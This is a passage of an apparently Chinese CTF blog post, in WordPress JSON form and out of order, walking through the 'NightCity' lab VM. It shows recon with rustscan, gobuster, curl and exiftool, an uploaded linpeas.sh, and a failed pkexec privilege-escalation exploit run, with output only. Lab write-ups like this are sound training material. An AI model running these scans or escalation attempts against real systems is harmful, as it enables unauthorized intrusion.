00\n\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2880\u2847\u2800\u2800\u2800\u2800\u2800\u28c0\u28c0\u28c0\u28c0\u28c8\u28f7\u2826\u2824\u2836\u2816\u283f\u28ed\u28c1\u28c0\u28c0\u28e0\u28f6\u287e\u280b\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u280b\u2801\u28a0\u2847\u2800\u28fc\u2801\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\n\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2838\u283f\u2836\u28f6\u28fe\u28ef\u28cd\u28c9\u2809\u2819\u281b\u28ff\u2801\u2800\u2800\u2800\u2800\u2800\u2800\u2809\u281b\u283f\u283f\u281b\u2800\u2800\u2800\u2800\u28e4\u28c0\u28c0\u2800\u2800\u28b8\u2844\u2800\u28e0\u285c\u2803\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\n\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2888\u284f\u2809\u283b\u28b7\u28f6\u28ff\u284f\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2880\u28e0\u2824\u2824\u2824\u28a4\u28c4\u28c0\u2840\u2800\u2800\u2800\u2800\u2800\u28bf\u2809\u2801\u2819\u28a6\u2840\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\n\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u287e\u2800\u2800\u2880\u28c0\u28c8\u28fc\u2800\u2800\u2800\u2800\u2800\u28c0\u28c0\u2874\u2802\u2809\u2800\u2800\u2800\u28e0\u28be\u2801\u2800\u28fd\u2832\u2844\u2800\u2800\u2800\u28b8\u2846\u2800\u2800\u2800\u2809\u2833\u2884\u2840\u2800\u2800\u2800\u2800\u2800\n\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u28b0\u2847\u2800\u28f4\u28cf\u28c1\u2800\u28bb\u2800\u2800\u2880\u2874\u28fa\u281d\u2800\u2800\u2800\u2880\u28c0\u28b6\u281b\u2801\u2838\u2844\u2800\u28ff\u2800\u2839\u2804\u2800\u2800\u2808\u2847\u2800\u2800\u2800\u2800\u2800\u2800\u2899\u2832\u2884\u2840\u2800\u2800\n\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2838\u28f7\u28b8\u2847\u2808\u283b\u28f7\u28fe\u2800\u2800\u28e8\u281f\u28c1\u28c0\u28e4\u28f4\u2836\u280b\u2801\u28b8\u2800\u2800\u2800\u28f7\u2800\u28ff\u2800\u2800\u2800\u2800\u2800\u28a0\u2847\u2800\u2800\u2800\u2880\u285f\u2800\u28b8\u2800\u2800\u2809\u2812\u2804\n\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2808\u28b7\u2873\u2800\u2800\u2819\u28bf\u28c0\u2876\u2809\u28ff\u2809\u2809\u2809\u28e7\u2800\u2800\u2800\u28b8\u2800\u2800\u2800\u28ff\u28e0\u28ff\u2800\u2800\u2800\u2800\u2880\u28fe\u2807\u2800\u2800\u2800\u287c\u2801\u2800\u285f\u2800\u2800\u2800\u2800\u2800\n\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2808\u2833\u28c4\u2800\u2800\u2838\u283f\u28f7\u2840\u2838\u2840\u2800\u2800\u2839\u2844\u2800\u2800\u2838\u2880\u28c0\u2874\u281f\u28ff\u2807\u2800\u2800\u2800\u2800\u28fe\u284f\u2800\u2800\u2800\u28f8\u2803\u2800\u28b0\u2847\u2800\u2800\u2800\u2800\u2800\n\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2819\u28c4\u2800\u2800\u2800\u283b\u28e7\u28e0\u28a7\u2864\u2824\u2824\u283f\u28c6\u2800\u281a\u2809\u28e7\u2800\u28b0\u287f\u2800\u2800\u2800\u2880\u28fe\u285f\u2800\u2800\u2800\u28a0\u2807\u2800\u2800\u28f8\u2800\u2800\u2800\u2800\u2800\u2800\n\u2800\u2800\u2800\u28c0\u28c0\u2880\u28e4\u2866\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2808\u28a7\u2800\u2800\u28fe\u2809\u2800\u2800\u28f7\u2800\u2800\u2800\u28bb\u2840\u2800\u2800\u28bb\u2800\u28ff\u2801\u2800\u2800\u28a0\u28fe\u287f\u2800\u2800\u2800\u28a0\u285e\u2800\u2800\u28a0\u2847\u2800\u2800\u2800\u2800\u2800\u2800\n\u2800\u28b0\u28fe\u28ff\u2837\u28ff\u28ff\u2835\u2816\u2840\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2808\u2833\u2840\u2818\u28c6\u2800\u2800\u28ff\u2800\u2800\u2800\u2800\u28e7\u2800\u2800\u28f8\u28fe\u2803\u2800\u2800\u28e0\u28ff\u281f\u2800\u2800\u2800\u2880\u285e\u2800\u2800\u2800\u28f8\u2801\u2800\u2800\u2800\u2800\u2800\u2800\n\u2800\u2808\u287b\u2809\u280b\u2809\u2881\u28e4\u28fc\u284f\u28a0\u28c6\u287e\u2803\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2839\u28c4\u28ff\u28f6\u28e4\u28fc\u28e4\u28c0\u28c0\u28c0\u287d\u2836\u28da\u287f\u2801\u2800\u2880\u28fe\u28ff\u280b\u2800\u2800\u2800\u2800\u287c\u2801\u2800\u2800\u28a0\u2847\u2800\u2800\u2800\u2800\u2800\u2800\u2800\n\u28b0\u28f6\u289f\u2874\u28be\u2887\u28cf\u28e4\u287f\u2800\u2808\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2809\u28e6\u2809\u2809\u2809\u2809\u2819\u281b\u281b\u280b\u2809\u2809\u2800\u2800\u28e0\u28ff\u28df\u2801\u2810\u2812\u2812\u2836\u287e\u2801\u2800\u2800\u2800\u287c\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\n\u28f8\u28c3\u28fd\u28e3\u281c\u283f\u2809\u2801\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2808\u28b7\u2840\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u28e0\u28fe\u281f\u2801\u2808\u2833\u2844\u2800\u2800\u287c\u2801\u2800\u2800\u2800\u28b0\u2847\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\n\u283f\u2809\u2800\u2800\u2800\u2800\u2800\u2800\u28c0\u2800\u2800\u2800\u2800\u2800\u2800\u28f6\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u28f3\u2840\u2800\u2800\u2800\u2800\u2800\u2880\u28f4\u281f\u2827\u28c4\u2800\u2800\u2800\u2819\u28e6\u285e\u2801\u2800\u2800\u2800\u28c0\u28fa\u2834\u2836\u28b2\u2846\u2800\u2800\u2800\u2800\u2800\n\u2800\u2800\u2800\u2800\u2800\u2800\u2880\u28f8\u284f\u2800\u2800\u2800\u2800\u28c0\u28f4\u284f\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2880\u2860\u281e\u2809\u2839\u28c4\u2800\u2800\u2800\u28e0\u281f\u2801\u2800\u2800\u2808\u2813\u28e6\u28c0\u28e0\u289f\u2800\u28e0\u2834\u281e\u2809\u2801\u2800\u2800\u2800\u2880\u2847\u2800\u2800\u2800\u2800\u2800\n\u2800\u2800\u2800\u2800\u28a0\u28f6\u280f\u28bb\u28f6\u2876\u28fe\u28ff\u28df\u286f\u281e\u2803\u2800\u2800\u2800\u2800\u2800\u2880\u2874\u280b\u2800\u2800\u2800\u2800\u2839\u28c4\u28e0\u28de\u2809\u2809\u2809\u2809\u2809\u2813\u2832\u28b6\u283e\u2836\u28bf\u280b\u2801\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u28b0\u2847\u2800\u2800\u2800\u2800\u2800\n\u2800\u2800\u2808\u2800\u2809\u2809\u28c9\u28fb\u2809\u2809\u2808\u2809\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u28ff\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2809\u2809\u2839\u28c6\u2800\u2800\u2800\u2800\u2800\u2800\u2818\u28e6\u2800\u2818\u2847\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u28b8\u2847\u2800\u2800\u2800\u2800\u2800\n\u2800\u2800\u2880\u28e0\u28f6\u280b\u287d\u2803\u2800\u2880\u28c0\u2874\u281e\u2800\u2800\u2800\u2800\u2800\u28c0\u28e0\u2800\u28ff\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2839\u28c4\u2800\u2800\u2800\u2800\u2800\u2800\u2808\u28f3\u28b6\u28ff\u28c0\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u28b8\u2801\u2800\u2800\u2800\u2800\u2800\n\u2800\u2800\u280e\u2800\u28fc\u280b\u2800\u2830\u288a\u28ef\u285f\u2800\u2880\u28c0\u2864\u2836\u2812\u2809\u2809\u2801\u2800\u28bb\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u28a0\u28ff\u2844\u2800\u2800\u2800\u2800\u2880\u28fe\u2801\u28f8\u2807\u28b9\u2833\u28c4\u2800\u2800\u2800\u2800\u2800\u285c\u2800\u2800\u2800\u2800\u2800\u2800\n\u2800\u2800\u2800\u2800\u28ef\u2889\u2876\u2846\u28f8\u2849\u2813\u2809\u2809\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2818\u2846\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2808\u28c7\u2839\u2840\u2800\u2800\u28f0\u280f\u287e\u2800\u28ff\u2800\u28b8\u2800\u2808\u28ff\u28a6\u2840\u2800\u28b0\u2847\u2800\u2800\u2800\u2800\u2800\u2800\n\u2800\u2800\u2800\u2880\u287f\u280b\u2801\u2801\u2809\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u28bf\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u28ff\u2800\u28bb\u28c0\u285c\u2801\u28a0\u2807\u2800\u28e7\u2800\u28b8\u2800\u2800\u2847\u2800\u2819\u2832\u287d\u2801\u2800\u2800\u2800\u2800\u2800\u2800\n\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2818\u28c6\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u28ff\u2800\u2800\u2809\u2800\u2800\u28ff\u2800\u2800\u28ff\u2800\u28b8\u2800\u28b8\u2847\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\n\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u283b\u2840\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u28bb\u2800\u2800\u2800\u2800\u2800\u2809\u2809\u281b\u28bf\u2846\u28b8\u2847\u28b8\u2801\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\n\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u283b\u2840\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2838\u2844\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2818\u28e7\u287e\u2803\u285c\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\n\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u283b\u28c4\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u28e7\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2809\u2800\u2800\u2847\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\n\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2819\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u283f\u2802\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u281f\u2800\u2800\u2800\u2800\n\n Good job!! You just discovered the criminal!\n\njoker@NightCity:\/home\/.joker$ sudo -l\n[sudo] contrase\u00f1a para joker: \nLo sentimos, el usuario joker no puede ejecutar sudo en NightCity.<\/code><\/pre>\n<\/div><\/p>\n\u5176\u5b9e\u5230\u8fd9\u91cc\u5c31\u7ed3\u675f\u4e86\uff0c\u6211\u4e0a\u4f20\u4e86\u4e2alinpeas.sh<\/code>\u770b\u770b\u6709\u6ca1\u6709\u522b\u7684\u5f69\u86cb\uff1a<\/p>\n<\/div><\/p>\n\u53d1\u73b0\u8fd9\u4e2a\u7248\u672c\u597d\u50cf\u662f\u53ef\u4ee5\u63d0\u6743\u7684\uff0c\u8fdb\u884c\u5c1d\u8bd5\uff1a<\/p>\n
<\/div><\/p>\n\u5f88\u9057\u61be\uff0c\u5c1d\u8bd5\u5931\u8d25\uff0c\u591a\u6b21\u5c1d\u8bd5\u4f9d\u7136\uff1a<\/p>\n
joker@NightCity:\/tmp$ .\/exp.py \n[+] Creating shared library for exploit code.\n[-] GCONV_PATH=. directory already exists, continuing.\n[+] Calling execve()\npkexec --version |\n --help |\n --disable-internal-agent |\n [--user username] PROGRAM [ARGUMENTS...]\n\nSee the pkexec manual page for more details.<\/code><\/pre>\n\u540e\u6765\u67e5\u5230\u8fd9\u4e2a\u6f0f\u6d1e\u88ab\u4fee\u590d\u4e86\uff0c\u5c31\u5230\u6b64\u4e3a\u6b62\u5427\u3002\u3002\u3002\u3002<\/p>\n
<\/div><\/p>\n\u5173\u4e8ePS\u90a3\u5757\u5e73\u66ff\u5de5\u5177<\/h2>\n
\u770b\u5e08\u5085\u4eec\u91c7\u7528\u7684\u662fstegoveritas<\/code>\u8fd9\u4e2a\u5de5\u5177\uff0c\u53ef\u4ee5\u5c1d\u8bd5\u4f7f\u7528\u4e00\u4e0b\uff0c\u6ce8\u610f\u4e0d\u8981\u4f7f\u7528\u592a\u65b0\u7684 python \u7248\u672c\uff1a<\/p>\n$ pip3 install stegoveritas\n$ stegoveritas_install_deps<\/code><\/pre>\n\u8fd9\u4e2a\u4e5f\u4e0d\u80fd\u76f4\u63a5\u641e\u51fa\u90a3\u4e2a\u5bc6\u7801\uff0c\u53ea\u662f\u548cstegsolve\u4e00\u6837\u53ef\u4ee5\u5206\u79bb\u4e0d\u540c\u8272\u9053\u7684\u56fe\u5c42\u3002\u3002\u3002\u3002\u3002\u8fd8\u662f\u5f97\u8089\u773c\u770b\u3002\u3002\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"
NightCity \u4fe1\u606f\u641c\u96c6 \u7aef\u53e3\u626b\u63cf \u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/NightCity] \u2514 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,24,18],"tags":[],"class_list":["post-849","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-penetration-test","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/849","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=849"}],"version-history":[{"count":2,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/849\/revisions"}],"predecessor-version":[{"id":851,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/849\/revisions\/851"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=849"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=849"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=849"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/NightCity]\n\u2514\u2500$ rustscan -a $IP -- -sCV\n.----. .-. .-. .----..---. .----. .---. .--. .-. .-.\n| {} }| { } |{ {__ {_ _}{ {__ \/ ___} \/ {} \\ | `| |\n| .-. \\| {_} |.-._} } | | .-._} }\\ }\/ \/\\ \\| |\\ |\n`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'\nThe Modern Day Port Scanner.\n________________________________________\n: http:\/\/discord.skerritt.blog :\n: https:\/\/github.com\/RustScan\/RustScan :\n --------------------------------------\nRustScan: Exploring the digital landscape, one IP at a time.\n\n[~] The config file is expected to be at "\/home\/kali\/.rustscan.toml"\n[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers\n[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. \nOpen 192.168.10.105:21\nOpen 192.168.10.105:22\nOpen 192.168.10.105:80\n\nPORT STATE SERVICE REASON VERSION\n21\/tcp open ftp syn-ack ttl 64 vsftpd 2.0.8 or later\n| ftp-syst: \n| STAT: \n| FTP server status:\n| Connected to 192.168.10.106\n| Logged in as ftp\n| TYPE: ASCII\n| No session bandwidth limit\n| Session timeout in seconds is 300\n| Control connection is plain text\n| Data connections will be plain text\n| At session startup, client count was 3\n| vsFTPd 3.0.3 - secure, fast, stable\n|_End of status\n| ftp-anon: Anonymous FTP login allowed (FTP code 230)\n|_drwxrwxrwx 2 0 0 4096 Jun 09 2022 reminder [NSE: writeable]\n22\/tcp open ssh syn-ack ttl 64 OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n| 2048 ce:ac:1c:04:d6:f6:64:d6:d9:9d:88:c9:0d:66:a9:45 (RSA)\n| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCg0hWxl3bxSzzZNd+khD0gsax\/BKxpgSokX+YNR9qlWd472Usw2A89TxEd\/kX\/E+jhzoTcNkHSC2fD1k+HOCxcCepciA\/URvncuq14eRsTmKZZvDyxv6GM3K4ImESyao1h3VLGhsi2PVkDEl0FRUq\/VDu6eV5lKCbqhBvu7x2S0h3y9oswcwdQg416n8EQt05HaKjTUhs5o7Bn3qSnB6DLIb7m+PjfTqEtRz+xREd4JO\/ZFS8GeGVjY1bINMlQkOb7wPFfkAliKtH5RrLSH01xdVH1LENPzckSDdwUlNfGrfrF9IjmlTqs11VG\/mMe\/k3HhpVJJAV5mUFYC82+u1H7\n| 256 4f:f1:7b:69:5c:47:b2:91:b8:d2:2f:82:73:b7:fc:03 (ECDSA)\n| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLKNPh3DeZrMYPPzC9eqiYl3qj5NgTmO4cQggBcm+6Rurlr\/62SPZg0vusxQqUPWu4Mh3aLIXWKvClMD5xRBeVw=\n| 256 65:6b:3b:8c:89:81:4d:f3:98:98:5a:ed:57:cf:58:c9 (ED25519)\n|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKCn8PIIg7Le9a2M+piz2m281CaS68sL6vCSUlufOxMa\n80\/tcp open http syn-ack ttl 64 Apache httpd 2.4.29 ((Ubuntu))\n|_http-title: NightCity Web Server\n|_http-server-header: Apache\/2.4.29 (Ubuntu)\n| http-methods: \n|_ Supported Methods: HEAD GET POST OPTIONS\nMAC Address: 08:00:27:2F:24:00 (PCS Systemtechnik\/Oracle VirtualBox virtual NIC)\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel<\/code><\/pre>\n\u76ee\u5f55\u626b\u63cf<\/h3>\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/NightCity]\n\u2514\u2500$ gobuster dir -u http:\/\/$IP\/ -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -x php,txt,html,zip\n===============================================================\nGobuster v3.6\nby OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url: http:\/\/192.168.10.105\/\n[+] Method: GET\n[+] Threads: 10\n[+] Wordlist: \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt\n[+] Negative Status codes: 404\n[+] User Agent: gobuster\/3.6\n[+] Extensions: txt,html,zip,php\n[+] Timeout: 10s\n===============================================================\nStarting gobuster in directory enumeration mode\n===============================================================\n\/index.html (Status: 200) [Size: 8407]\n\/.html (Status: 403) [Size: 279]\n\/images (Status: 301) [Size: 317] [--> http:\/\/192.168.10.105\/images\/]\n\/about.html (Status: 200) [Size: 7744]\n\/contact.html (Status: 200) [Size: 6349]\n\/gallery.html (Status: 200) [Size: 8768]\n\/js (Status: 301) [Size: 313] [--> http:\/\/192.168.10.105\/js\/]\n\/robots.txt (Status: 200) [Size: 136]\n\/secret (Status: 301) [Size: 317] [--> http:\/\/192.168.10.105\/secret\/]\n\/robin (Status: 200) [Size: 1873]\n\/.html (Status: 403) [Size: 279]\n\/server-status (Status: 403) [Size: 279]<\/code><\/pre>\n\u6f0f\u6d1e\u53d1\u73b0<\/h2>\n\u8e29\u70b9<\/h3>\n
<\/div>
\n<\/div><\/p>\n\u654f\u611f\u76ee\u5f55<\/h3>\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/NightCity]\n\u2514\u2500$ curl -s http:\/\/$IP\/robots.txt \n#Good Job\n\nTo continue, you need a workmate. Our lastest news is that Robin is close to\nNightCity. Try to find him, Robin has the key!!<\/code><\/pre>\n\u53d1\u73b0\u4e86\u4e00\u4e2a\u4eba\u540d\u5b57\u53ebRobin<\/code>\uff0c\u8fd9\u4e2a\u4eba\u6709\u6211\u4eec\u60f3\u8981\u7684\u4e1c\u897f\u3002<\/p>\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/NightCity]\n\u2514\u2500$ curl -s http:\/\/$IP\/secret\/ | html2text\n****** Index of \/secret ******\n[[ICO]] Name Last modified Size Description\n===========================================================================\n[[PARENTDIR]] Parent Directory - \n[[IMG]] most-wanted.jpg 2022-06-09 19:43 128K \n[[IMG]] some-light.jpg 2022-06-09 19:42 214K \n[[IMG]] veryImportant.jpg 2022-06-03 13:33 185K \n===========================================================================\n Apache\/2.4.29 (Ubuntu) Server at 192.168.10.105 Port 80\n\n# wget http:\/\/$IP\/secret\/most-wanted.jpg\n# wget http:\/\/$IP\/secret\/some-light.jpg \n# wget http:\/\/$IP\/secret\/veryImportant.jpg\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/NightCity]\n\u2514\u2500$ exiftool * \n======== most-wanted.jpg\nExifTool Version Number : 13.10\nFile Name : most-wanted.jpg\nDirectory : .\nFile Size : 131 kB\nFile Modification Date\/Time : 2022:06:09 13:43:07-04:00\nFile Access Date\/Time : 2025:06:10 12:13:20-04:00\nFile Inode Change Date\/Time : 2025:06:10 12:13:20-04:00\nFile Permissions : -rw-rw-r--\nFile Type : JPEG\nFile Type Extension : jpg\nMIME Type : image\/jpeg\nJFIF Version : 1.01\nResolution Unit : None\nX Resolution : 1\nY Resolution : 1\nImage Width : 1334\nImage Height : 750\nEncoding Process : Baseline DCT, Huffman coding\nBits Per Sample : 8\nColor Components : 3\nY Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)\nImage Size : 1334x750\nMegapixels : 1.0\n======== some-light.jpg\nExifTool Version Number : 13.10\nFile Name : some-light.jpg\nDirectory : .\nFile Size : 219 kB\nFile Modification Date\/Time : 2022:06:09 13:42:53-04:00\nFile Access Date\/Time : 2025:06:10 12:13:30-04:00\nFile Inode Change Date\/Time : 2025:06:10 12:13:30-04:00\nFile Permissions : -rw-rw-r--\nFile Type : JPEG\nFile Type Extension : jpg\nMIME Type : image\/jpeg\nExif Byte Order : Big-endian (Motorola, MM)\nX Resolution : 72\nY Resolution : 72\nResolution Unit : inches\nY Cb Cr Positioning : Centered\nGPS Version ID : 2.3.0.0\nGPS Latitude Ref : North\nGPS Longitude Ref : East\nXMP Toolkit : Image::ExifTool 12.41\nDescription : 26\u00ba21'28.59"N,127\u00ba47'0.99"E\nAuthor : GothamCity\nImage Width : 2048\nImage Height : 1179\nEncoding Process : Baseline DCT, Huffman coding\nBits Per Sample : 8\nColor Components : 3\nY Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)\nImage Size : 2048x1179\nMegapixels : 2.4\nGPS Latitude : 26 deg 21' 28.59" N\nGPS Longitude : 127 deg 47' 0.99" E\nGPS Position : 26 deg 21' 28.59" N, 127 deg 47' 0.99" E\n======== veryImportant.jpg\nExifTool Version Number : 13.10\nFile Name : veryImportant.jpg\nDirectory : .\nFile Size : 190 kB\nFile Modification Date\/Time : 2022:06:03 07:33:09-04:00\nFile Access Date\/Time : 2025:06:10 12:13:39-04:00\nFile Inode Change Date\/Time : 2025:06:10 12:13:39-04:00\nFile Permissions : -rw-rw-r--\nFile Type : JPEG\nFile Type Extension : jpg\nMIME Type : image\/jpeg\nJFIF Version : 1.02\nResolution Unit : None\nX Resolution : 1\nY Resolution : 1\nImage Width : 1200\nImage Height : 740\nEncoding Process : Baseline DCT, Huffman coding\nBits Per Sample : 8\nColor Components : 3\nY Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)\nImage Size : 1200x740\nMegapixels : 0.888\n 3 image files read<\/code><\/pre>\n\u63a5\u7740\u770bRobin<\/code>\u76ee\u5f55\uff1a<\/p>\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/NightCity]\n\u2514\u2500$ curl -s http:\/\/$IP\/robin | html2text\n****** BATMAN Y ROBIN VOL. 01. PARTE I. ******\nHay un nuevo D\u00c3\u00bao Din\u00c3\u00a1mico en la ciudad. Tras la desaparici\u00c3\u00b3n de Bruce Wayne,\ny concluida La Batalla por la Capucha, el Hombre Murci\u00c3\u00a9lago es ahora Dick\nGrayson. Pero tendr\u00c3\u00a1 que llevar a cabo su misi\u00c3\u00b3n como justiciero junto a un\nacompa\u00c3\u00b1ante imprevisto: Damian Wayne, hijo de Bruce y Talia al Ghul, ha\nasumido el papel de Robin... despu\u00c3\u00a9s de que Tim Drake, el anterior titular,\nhaya adoptado otra identidad y emprendido una dif\u00c3\u00adcil b\u00c3\u00basqueda destinada a\narrojar incre\u00c3\u00adbles resultados sobre el verdadero destino del mentor de todos\nellos. Sin embargo, mientras tanto, Dick y Damian deber\u00c3\u00a1n afrontar una Gotham\nque parece m\u00c3\u00a1s enloquecida que nunca: a villanos cada vez m\u00c3\u00a1s ins\u00c3\u00b3litos,\nentre ellos el Profesor Pyg y los dem\u00c3\u00a1s miembros de su Circo de lo Extra\u00c3\u00b1o,\nse une el regreso de otro excompa\u00c3\u00b1ero de Batman. Jason Todd, alias Capucha\nRoja, no solo cuenta con alguien muy sorprendente para ayudarle... \u00c2\u00a1tambi\u00c3\u00a9n\nest\u00c3\u00a1 decidido a poner fin al reinado de los nuevos Batman y Robin antes\nincluso de que empiece!\nGrant Morrison y Frank Quitely, un t\u00c3\u00a1ndem con obras tan reconocidas como All-\nStar Superman y New X-Men, toma las riendas de la primera colecci\u00c3\u00b3n del\nCaballero Oscuro y el Chico Maravilla que lleva sus nombres en el t\u00c3\u00adtulo...\naunque los integrantes de este equipo no sean los habituales ni por asomo.\nJunto a Philip Tan (Batman del Futuro: La ciudad de japon), los dos aclamados\nautores escoceses abren una etapa repleta de innovadores conceptos y\nsituaciones sin parang\u00c3\u00b3n que no dejar\u00c3\u00a1n indiferente a ning\u00c3\u00ban lector. Lo\ndemuestran a la perfecci\u00c3\u00b3n los dos arcos argumentales iniciales de la serie,\nBatman renacido y La venganza de Capucha Roja, que se incluyen \u00c3\u00adntegramente en\neste tomo de Batman Saga<\/code><\/pre>\n\u770b\u4e0d\u61c2\uff0c\u6d4f\u89c8\u5668\u7ffb\u8bd1\u4e00\u4e0b\uff1a<\/p>\n
<\/div><\/p>\nemmmmmm\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002<\/p>\n
ftp\u670d\u52a1\u63a2\u6d4b<\/h3>\n
